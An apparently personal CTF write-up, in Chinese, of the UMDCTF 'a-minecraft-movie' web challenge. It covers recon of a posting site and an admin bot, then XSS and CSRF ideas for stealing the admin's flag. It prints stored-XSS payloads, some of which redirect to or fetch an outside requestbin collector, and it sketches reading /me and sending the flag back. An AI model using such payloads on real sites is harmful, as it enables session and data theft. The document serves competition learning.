题目给了 2 个网站

# a-minecraft-movie.challs.umdctf.io

抓包:

  • index-DyRpPGax.js: 没法看
  • index-BSu8rXO4.css
  • single-file-hooks-frames.js 没法看
  • top-posts: 显示的内容

点一个会跳转到一个 youtube 视频

点 Like 显示 Not authenticated

2 个按钮:

Create a Post: 有 Title 输入框和 Content 输入框

Submit Post 显示 Not authenticated

有 Login 和 Regiser

  • testtest : already exist

  • testtest1

注册登录:

有 Account:Account Summary

Username: testtest1

Current Session Number: undefined

Your Posts

You haven't posted anything yet.

登录后点 Like 没什么用

CHICKEN JOCKEY 可以点 Like,让数字变化,Like 可以重复点

that's a legend 可以点 Like,

登陆后,自己可以发布 Post

  • create-post 请求

# XSS 点

post 内部写入 <input> 会解析

# a-minecraft-movie-admin.challs.umdctf.io

这个里面可以输入 PostID,之后 Admin 可能可以访问。

# 分析

可能思路:

  • 通过 XSS 登录上 Admin,Admin 页面有 Flag

# Payload

<script>document.location="http://requestbin.whapi.cloud/woqsw6wo"</script>

这个似乎没什么用

<input autofocus onfocusin=confirm()>

这个也没有用

l
<img src="http://requestbin.whapi.cloud/woqsw6wo" onerror="fetch("http://requestbin.whapi.cloud/woqsw6wo")">

这个不会弹出窗口,把 onerror 过滤了

可能可以用 XSS 工具扫描?

l
<img src="http://requestbin.whapi.cloud/woqsw6wo" >

这个有用!

但是把对应的 id 发给 admin,Admin 点击了它!!

# index-DyRpPGax.js

也就是说:

你需要想办法让 Admin 用户访问你的 Post,触发你写进去的 XSS,让 Admin 的浏览器执行你的 JS,读取 /me 接口拿到 flag,然后把 flag 发回给你!

# Writeup

这个题有几个思路:

首先可以用 12341234 这个用户名和密码登录拿到 flag,因为账号是共享的

第二个可以 CSRF, 用 img 的链接转到其他地方,然后再其他地方写个 XSS 提交 POST 点赞请求

第三个可以用 HTML 通过 autofocus 写一个强制点赞的标签。因为模拟浏览器会模拟鼠标点击。所以可以这样。